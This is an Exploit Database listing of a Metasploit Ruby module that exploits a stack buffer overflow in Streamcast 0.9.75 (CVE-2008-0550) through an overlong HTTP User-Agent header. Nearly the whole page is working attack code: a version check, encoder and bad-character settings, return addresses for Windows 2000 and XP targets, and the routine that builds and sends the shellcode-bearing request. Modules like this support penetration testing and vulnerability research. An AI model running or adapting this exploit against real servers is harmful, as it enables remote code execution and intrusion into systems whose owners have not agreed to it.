Streamcast 0.9.75 – HTTP User-Agent Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-06-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16800/

• ##
  # $Id: steamcast_useragent.rb 9488 2010-06-11 16:12:05Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Streamcast <= 0.9.75. By sending
  					an overly long User-Agent in an HTTP GET request, an attacker may be able to
  					execute arbitrary code.
  			},
  			'Author' => 	[
  								'LSO <lso[@]hushmail.com>', # Original exploit module
  								'patrick' # Added references and check code. Default target to XP.
  							],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9488 $',
  			'References' =>
  				[
  					[ 'CVE', '2008-0550' ],
  					[ 'OSVDB', '42670' ],
  					[ 'URL', 'http://aluigi.altervista.org/adv/steamcazz-adv.txt'],
  					# [ 'BID', '' ], # No entry as yet
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 750,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'DisableNops'=>'True',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Tested OK by patrick 20090225
  					[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
  					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
  				],
  			'DisclosureDate' => 'Jan 24 2008',
  			'DefaultTarget' => 1))
  
  			register_options([ Opt::RPORT(8000) ], self)
  	end
  
  	def check
  		connect
  		sock.put("GET / HTTP/1.0\r\n\r\n")
  		res = sock.get(-1, 3)
  		disconnect
  
  		if (res =~ /Steamcast\/0.9.75/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		juju ="GET / HTTP/1.0\r\n"
  		juju << "User-Agent: " + make_nops(1008 - payload.encoded.length)
  		juju << payload.encoded + Rex::Arch::X86.jmp_short(6) + make_nops(2)
  		juju << [ target.ret ].pack('V') + [0xe8, -850].pack('CV')
  		juju <<rand_text_alpha_upper(275)
  
  		print_status("Trying target #{target.name}...")
  		sock.put(juju + "\r\n\r\n")
  
  		handler
  		disconnect
  	end
  
  end